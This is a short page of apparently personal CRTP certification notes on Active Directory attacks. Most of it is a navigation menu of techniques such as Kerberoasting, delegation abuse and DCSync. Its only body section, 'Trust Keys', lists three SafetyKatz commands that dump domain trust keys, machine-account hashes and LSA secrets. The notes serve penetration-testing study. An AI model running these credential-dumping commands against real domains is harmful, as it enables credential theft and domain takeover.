CRTP / AD ~ Notes ~ by n3oari

🏠 Home
🔧 Utils
🔍 Enumeration
🔍 Enumeration
🆙 Privilege Escalation
🆙 Privilege Escalation
- Local privesc
- Feature abuse (Jenkins)
- 📂 Domain Privesc
  📂 Domain Privesc
  - Kerberoasting
  - AS-REP Roasting Attack
  - 📂 Delegations
    📂 Delegations
    
    Unconstrained Deletegation
    
    Constrained Delegetation
    
    RBCD
- 📂 Cross Domain Privesc
  📂 Cross Domain Privesc
➡️Lateral Movement
➡️Lateral Movement
- DCSync
- OverThePass
- NTLM relay
- Runas
🦖 Persistence
🦖 Persistence
🛡️ Bypass defenses
CRTP - Methodology

Trust Keys

SafetyKatz.exe "lsadump::trust /patch"
SafetyKatz.exe "lsadump::dcsync /user:dcorp\mcorp$"
SafetyKatz.exe "lsadump::lsa /patch"